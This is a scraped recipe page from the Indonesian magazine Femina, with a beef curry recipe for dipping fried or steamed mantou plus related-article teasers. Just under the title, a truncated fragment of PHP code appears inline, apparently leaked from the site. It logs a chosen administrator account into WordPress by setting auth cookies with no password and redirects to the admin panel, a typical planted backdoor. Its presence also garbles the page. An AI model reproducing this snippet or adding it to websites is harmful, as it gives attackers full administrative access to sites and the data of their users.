Mantou Celup Kuah Kari

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Ayam & Bebek

27 Aug 2023

Curry and Mantou

Sisa dari kari daging jangan dibuang dulu. Jadikan celupan mantau goreng.

Untuk 6 porsi

300 ml santan sedang
500 g daging sapi, potong dadu
400 ml santan kental
400 g kentang, rebus, potong dadu 3 cm
100 g bawang bombay, potong bentuk juring
2 s dm kacang tanah, sangrai
5 buah kapulaga, sangrai
3 lembar bay leaf
2 cm kayu manis
4 sdm air asam jawa
3 sdm air jeruk lemon
1 sdm gula palem
Bumbu, haluskan:
7 butir bawang merah, sangrai
6 buah cabai rawit merah
4 batang serai, iris

2 siung bawang putih
2 butir cengkih
3 cm lengkuas
1 sdm ketumbar
1½ sdt terasi
1 sdt merica
1 sdt garam

1/ Masak santan sedang dan daging sapi hingga empuk. Angkat. Sisihkan.

2/ Panaskan santan kental di atas api kecil sambil diaduk hingga mendidih.

3/ Masukkan bumbu halus, aduk. Masak hingga harum dan minyaknya keluar.

4/ Masukkan daging sapi dan semua sisa bahan. Masak hingga semua bahan matang. Angkat.

5/ Sajikan bersama mantou kukus. (f)

Trifitria Nuragustina

Clean Cut Emporio Armani

0% Plastic Bag Project

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id